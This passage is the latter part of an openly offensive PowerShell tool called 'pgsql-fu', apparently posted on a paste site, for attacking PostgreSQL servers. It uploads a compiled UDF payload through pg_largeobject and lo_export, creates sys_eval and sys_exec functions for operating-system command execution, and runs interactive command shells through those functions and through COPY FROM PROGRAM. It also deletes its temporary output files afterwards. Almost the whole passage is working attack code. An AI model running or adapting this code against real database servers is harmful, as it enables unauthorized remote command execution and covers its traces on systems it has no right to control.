  1299.                         Write-Host "[?] Total Chunks: $($chunks.Count)`n[DEBUG]`n"
  1300.                        
  1301.                         for($i=0; $i -lt $chunks.Count; $i++) {
  1302.                             $sql3 = "INSERT INTO pg_largeobject (loid,pageno,data) VALUES($oid, $i, decode('$($chunks[$i])', 'base64'))";
  1303.                             $sqlResult = pgsql_query $connectionString $sql3;
  1304.                             if($sqlResult.msg -ne "") {
  1305.                                 Write-Host "   [x] Problem Inserting Payload Data Into Table";
  1306.                                 Write-Host "      [x] Payload will NOT work now...";
  1307.                                 $sqlResult.msg;
  1308.                             }
  1309.                         }
  1310.                         $sql4 = "SELECT lo_export($($oid), '$($writeRemoteFilename)')";
  1311.                         $sqlResult = pgsql_query $connectionString $sql4;
  1312.                         if($sqlResult.msg -eq "") {
  1313.                             $sql5 = "DELETE FROM pg_largeobject WHERE loid=$($oid);";
  1314.                             $sqlResult = pgsql_query $connectionString $sql5;
  1315.                             Write-Host "   [+] UDF Payload Successfully Uploaded";
  1316.                            
  1317.                             # Create sys_eval() function now...
  1318.                             $sql6 = "DROP FUNCTION sys_eval(); DROP FUNCTION sys_exec();";
  1319.                             $sql7 = "CREATE OR REPLACE FUNCTION sys_eval() RETURNS TEXT AS '$($writeRemoteFilename)','sys_eval()' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;";
  1320.                             $sql8 = "CREATE OR REPLACE FUNCTION sys_exec() RETURNS TEXT AS '$($writeRemoteFilename)','sys_exec()' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;";
  1321.                             $sqlResult = pgsql_query $connectionString $sql6;
  1322.                             $sqlResult = pgsql_query $connectionString $sql7;
  1323.                             if($sqlResult.msg -eq "") {
  1324.                                 $sqlResult = pgsql_query $connectionString $sql8;
  1325.                                 Write-Host "   [+] UDF Functions Created!";
  1326.                                 Write-Host "      [-] SELECT sys_eval('_your_cmd_');";
  1327.                                 Write-Host "         [+] Returns Command Output";
  1328.                                 Write-Host "      [-] SELECT sys_exec('_your_cmd_');";
  1329.                                 Write-Host "         [+] Does NOT Return Command Output`n";
  1330.                             } else {
  1331.                                 Write-Host "   [x] Problem Creating UDF Function: sys_eval()";
  1332.                                 $sqlResult.msg
  1333.                             }              
  1334.                         } else {
  1335.                             Write-Host "   [x] Problem Writing Content to pgSQL Host"
  1336.                             $sqlResult.msg
  1337.                         }
  1338.                     } else {
  1339.                         Write-Host "   [x] Unable to write binary payload to target"
  1340.                         Write-Host "      [x] Problem Obtaining ObjectID Handle"
  1341.                         $sqlResult.msg;
  1342.                     }
  1343.                 } else {
  1344.                     Write-Host "[x] Unable to Load UDF Payload: $($binPathArg)";
  1345.                     Write-Host "   [x] Check path or permissions and try again...`n";
  1346.                 }
  1347.             } else {
  1348.                 Write-Host "[x] Unsupported Postgres Version: $($vcheck)";
  1349.                 Write-Host "   [x] NO UDF Payload for this version"
  1350.                 Write-Host "   [x] Try compiling yourself & using write.bin option...`n";
  1351.             }
  1352.             Write-Host "";
  1353.            
  1354.         } elseif($userArg.ToLower() -match '^sys.shell' -Or $userArg.ToLower() -match '^sys.eval') {
  1355.             $sql = "select pg_get_functiondef('sys_eval()'::regprocedure);";
  1356.             $sqlResult = pgsql_query $connectionString $sql;
  1357.             if($sqlResult.msg -eq "") {
  1358.                 Write-Host "[*] Dropping to sys_eval() command shell..."
  1359.                 Write-Host "   [+] ENTER Command to Execute";
  1360.                 Write-Host "   [+] Type EXIT or QUIT to end command shell session...`n`n";
  1361.                 While($True) {
  1362.                     $sysArg = Read-Host "(pgsql-fu/udfshell)>";
  1363.                     Write-Host "";
  1364.                     if($sysArg.ToLower() -eq 'quit' -Or $sysArg.ToLower() -eq 'exit') {
  1365.                         Write-Host "   [x] OK, closing sys_eval() shell session...`n`n";
  1366.                         Break;
  1367.                     } elseif($sysArg.ToLower() -eq 'cls' -Or $sysArg.ToLower() -eq 'clear') {
  1368.                         PrintBanner;                       
  1369.                     } elseif($sysArg.ToLower() -eq '?' -Or $sysArg.ToLower() -eq 'h' -Or $sysArg.ToLower() -eq 'help') {
  1370.                         Write-Host "[*] Postgres UDF sys_eval() Command Shell Usage: ";
  1371.                         Write-Host "   [+] Simply ENTER a Command to Execute";
  1372.                         Write-Host "   [+] Type EXIT or QUIT to end command shell session...`n`n";
  1373.                     } else {
  1374.                         $sqlResult = pgsql_query "SELECT sys_eval('$($sysArg)');";;
  1375.                         if($sqlResult..msg -eq "") {
  1376.                             foreach($row in $sqlResult.result) {
  1377.                                 $row[0];
  1378.                             }
  1379.                         } else {
  1380.                             Write-Host "[x] Problem Running Command";
  1381.                             $sqlResult.msg;
  1382.                         }                      
  1383.                         Write-Host "";
  1384.                     }
  1385.                 }
  1386.             } else {
  1387.                 Write-Host "[x] UDF sys_eval() Function does NOT exist yet!";
  1388.                 Write-Host "   [x] Try the 'udf' option to try and install UDF cmd exec functions...`n";
  1389.             }
  1390.             Write-Host "";
  1391.  
  1392.         } elseif($userArg.ToLower() -match '^copy.shell') {
  1393.             $vcheck = $basicInfo.serverVersion[0..2] -Join "";
  1394.             $vmajor = $vcheck[0];
  1395.             $vminor = $vcheck.split('.')[1]
  1396.             if($vmajor -eq "9" -And [int]$vminor -gt 2) {
  1397.                 Write-Host "[*] Dropping to COPY PROGRAM Command Shell..."
  1398.                 Write-Host "   [+] Simply type commands and hit enter";
  1399.                 Write-Host "   [+] Type EXIT or QUIT to end session`n";
  1400.                 While($True) {
  1401.                     $cmdArg = Read-Host "(pgsql-fu\copy.cmdshell)>";
  1402.                     Write-Host "";
  1403.                     if($cmdArg.ToLower() -eq 'x' -Or $cmdArg.ToLower() -eq 'exit' -Or $cmdArg.ToLower() -eq 'quit') {
  1404.                         Write-Host "[x] OK, Closing COPY PROGRAM Command Shell Session...`n`n";
  1405.                         Break;
  1406.                        
  1407.                     } elseif($cmdArg.ToLower() -eq '?' -Or $cmdArg.ToLower() -eq 'h' -Or $cmdArg.ToLower() -eq 'help') {
  1408.                         Write-Host "[*] pgSQL COPY PROGRAM Command Shell:";
  1409.                         Write-Host "   [+] Simply type the command to execute & hit enter";
  1410.                         Write-Host "   [+] Type EXIT or QUIT to end session...`n`n";
  1411.                        
  1412.                     } elseif($cmdArg.ToLower() -eq 'cls' -Or $cmdArg.ToLower() -eq 'clear') {
  1413.                         PrintBanner;
  1414.                    
  1415.                     } else {
  1416.                         $rand = randz 8;
  1417.                         $rand2 = randz 8;
  1418.                        
  1419.                         # Execute the Command & Redirect Results for reliable output
  1420.                         $sql  = "CREATE TABLE $($rand)($($rand2) text);"
  1421.                         if($basicInfo.os -eq "Windows") {
  1422.                             $outpath = $basicInfo.datadir + "/";
  1423.                             $filename = $outpath + $rand2 + ".log";
  1424.                         } else {
  1425.                             $outpath = "/tmp/";
  1426.                             $filename = $outpath + $rand2 + ".log";
  1427.                         }
  1428.                         $sql += "COPY $($rand) FROM PROGRAM '$($cmdArg) > `"$($filename)`"';"
  1429.                         $sql += "DROP TABLE $($rand);"
  1430.                         $sqlResult = pgsql_query $connectionString $sql;
  1431.                         if($sqlResult.msg -eq "") {
  1432.                            
  1433.                             # Now go fetch the output
  1434.                             $sql = "CREATE TABLE $($rand2)($($rand) text);";
  1435.                             $sql += "COPY $($rand2) FROM '$($filename)'; ";
  1436.                             $sqlResult = pgsql_query $connectionString $sql;
  1437.                             $sql = "SELECT * FROM $($rand2);"; # RESULT HERE #
  1438.                             $sqlResult = pgsql_query $connectionString $sql;
  1439.                             if($sqlResult.msg -eq "") {
  1440.                                 $cmdOutput = "";
  1441.                                 if($sqlResult.result -ne $NULL) {
  1442.                                     foreach($row in $sqlResult.result) {
  1443.                                         $row[0];
  1444.                                     }
  1445.                                 } else {
  1446.                                     Write-Host "[x] NO Results Returned";
  1447.                                 }
  1448.                             } else {
  1449.                                 Write-Host "[x] Problem Fetching Results"
  1450.                                 $sqlResult.msg;
  1451.                                 Write-Host "";
  1452.                             }
  1453.                             $sqlResult = pgsql_query $connectionString "DROP TABLE $($rand2);";
  1454.                             Start-Sleep -s 1;
  1455.                            
  1456.                             # Now go cleanup the redirect file
  1457.                             $sql = "CREATE TABLE $($rand)($($rand2) text);"
  1458.                             if($basicInfo.os -eq "Windows") {
  1459.                                 # DEL /F wasn't working, removing spaces & using powershell seems to work though ;)
  1460.                                 $fname = $filename.Replace("Program Files", "Progra~1")
  1461.                                 $cmdArg = "powershell.exe -Command rm $($fname)";
  1462.                                 $sql += "COPY $($rand) FROM PROGRAM '$($cmdArg)';"
  1463.                             } else {
  1464.                                 $sql += "COPY $($rand) FROM PROGRAM 'rm -f $($filename)';"
  1465.                             }
  1466.                             $sqlResult = pgsql_query $connectionString $sql;
  1467.                             if($sqlResult.msg -ne "") {
  1468.                                 Write-Host "[x] Problem Cleaning Up: $($filename)";
  1469.                                 $sqlResult.msg;
  1470.                                 Write-Host "";
  1471.                             }
  1472.                             $sql = "DROP TABLE $($rand);";
  1473.                             $sqlResult = pgsql_query $connectionString $sql;
  1474.                         } else {
  1475.                             Write-Host "[x] Problem Executing Command";
  1476.                             $sqlResult.msg;
  1477.                             Write-Host "";
  1478.                         }
  1479.                     }
  1480.                 }
  1481.             } else {
  1482.                 Write-Host "[x] Unsupported Version: $($basicInfo.serverVersion)";
  1483.                 Write-Host "   [x] COPY PROGRAM option is only available in 9.3+`n";
  1484.             }
  1485.             Write-Host "";
  1486.  
  1487.         } else {
  1488.             # Run raw pgSQL query...
  1489.             $sqlResult = pgsql_query $connectionString $userArg;
  1490.             if($sqlResult.msg -eq "") {
  1491.                 $sqlResult.result
  1492.                 <#
  1493.                 if($sqlResult.rowCount -gt 1) {
  1494.                     foreach($row in $sqlResult.result) {
  1495.                         foreach($column in $row) {
  1496.                             $column;
  1497.                         }
  1498.                     }
  1499.                 } else {
  1500.                     $sqlResult.result
  1501.                 }
  1502.                 #>
  1503.             } else {
  1504.                 $sqlResult.msg;
  1505.             }
  1506.             Write-Host "";
  1507.         }
  1508.     }
  1509. } else {
  1510.     Write-Host "[x] Unable to Connect to Postgres SQL Server!";
  1511.     Write-Host "   [x] Check arguments and try again...";
  1512. }
  1513. Write-Host "`n[*] Good Bye`n";
Add Comment
Please, Sign In to add comment